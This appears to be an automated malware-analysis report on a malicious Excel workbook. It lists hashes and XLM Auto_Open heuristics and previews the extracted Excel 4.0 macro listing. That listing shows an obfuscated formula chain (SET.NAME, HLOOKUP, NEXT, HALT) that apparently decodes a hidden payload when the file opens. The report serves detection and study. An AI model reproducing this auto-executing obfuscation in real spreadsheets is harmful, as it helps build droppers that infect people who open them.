Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5bc857f379c8becd…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:41:40 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: fc7054e99b2e525d8119eddb3bdd5232 SHA-1: 9d137d8f0161d4da9ed94d114e8f14bad0ddf277 SHA-256: 5bc857f379c8becdc41ed5194d9df14ee19333701af184a10220c54089d5bb9e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6542 bytes
SHA-256: 4cd39b3133750956a39ee2d899b21703a930f0696d9434cc6fd0980c6ffcb18e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  snOb
' 0018     20 LABEL : Cell Value, String Constant - AJxBw len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D159 
' 0018     22 LABEL : Cell Value, String Constant - AWxjZhq len=0 
' 0018     20 LABEL : Cell Value, String Constant - BSQcv len=0 
' 0018     22 LABEL : Cell Value, String Constant - cAWBQoY len=0 
' 0018     24 LABEL : Cell Value, String Constant - DMUsxNmZM len=0 
' 0018     20 LABEL : Cell Value, String Constant - EhWKw len=0 
' 0018     25 LABEL : Cell Value, String Constant - iMjIXXsSxE len=0 
' 0018     23 LABEL : Cell Value, String Constant - MCTFyhAC len=0 
' 0018     20 LABEL : Cell Value, String Constant - MIGAu len=0 
' 0018     26 LABEL : Cell Value, String Constant - MSUmOiEjsDj len=0 
' 0018     21 LABEL : Cell Value, String Constant - OHSLFg len=0 
' 0018     21 LABEL : Cell Value, String Constant - PuhYGF len=0 
' 0018     23 LABEL : Cell Value, String Constant - pytvAiPf len=0 
' 0018     22 LABEL : Cell Value, String Constant - UDHlsqH len=0 
' 0018     22 LABEL : Cell Value, String Constant - USKfxjL len=0 
' 0018     23 LABEL : Cell Value, String Constant - WgUAaHiH len=0 
' 0018     26 LABEL : Cell Value, String Constant - WyXDoOXqwFP len=0 
' 0018     24 LABEL : Cell Value, String Constant - xchixPiiy len=0 
' 0018     24 LABEL : Cell Value, String Constant - zrXGERulw len=0 
' 0018     20 LABEL : Cell Value, String Constant - ZxNlN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  snOb,Q57,"",815.00000000000000000000
'  snOb,Q58,"",-75.00000000000000000000
'  snOb,Q59,"",387.00000000000000000000
'  snOb,Q60,"",-933.00000000000000000000
'  snOb,Q61,"",-775.00000000000000000000
'  snOb,Q62,"",-966.00000000000000000000
'  snOb,D68,"SET.NAME("pytvAiPf",0+VALUE("0"))",""
'  snOb,D72,"SET.NAME("PuhYGF",pytvAiPf)",""
'  snOb,D76,"SET.NAME("WyXDoOXqwFP",pytvAiPf)",""
'  snOb,D78,"SET.NAME("AJxBw",COUNTA(xchixPiiy))",""
'  snOb,D83,"SET.NAME("OHSLFg",COUNTA(iMjIXXsSxE))",""
'  snOb,D88,[],""
'  snOb,D92,"SET.NAME("BSQcv","")",""
'  snOb,D95,"PuhYGF",""
'  snOb,D98,"SET.NAME("ZxNlN",HLOOKUP("*",xchixPiiy,PuhYGF,FALSE))",""
'  snOb,D102,"EhWKw",""
'  snOb,D104,"SET.NAME("cAWBQoY",pytvAiPf)",""
'  snOb,D106,[],""
'  snOb,D109,"cAWBQoY",""
'  snOb,D114,"zrXGERulw",""
'  snOb,D117,"MIGAu",""
'  snOb,D121,"USKfxjL",""
'  snOb,D125,"SET.NAME("AWxjZhq",VALUE(HLOOKUP("*",iMjIXXsSxE,USKfxjL,FALSE)))",""
'  snOb,D127,"WgUAaHiH",""
'  snOb,D131,"BSQcv",""
'  snOb,D133,"WyXDoOXqwFP",""
'  snOb,D138,NEXT(),""
'  snOb,D142,"UDHlsqH",""
'  snOb,D145,[],""
'  snOb,D148,"MCTFyhAC",""
'  snOb,D153,NEXT(),""
'  snOb,D157,RETURN(),""
'  snOb,D185,"SET.NAME("MSUmOiEjsDj",D68)",""
'  snOb,D188,"xchixPiiy",""
'  snOb,D192,"SET.NAME("iMjIXXsSxE",R51C12)",""
'  snOb,D197,"SET.NAME("MCTFyhAC",206)",""
'  snOb,D200,"SET.NAME("DMUsxNmZM",4)",""
'  snOb,D205,MSUmOiEjsDj(),""
'  snOb,D206,HALT(),""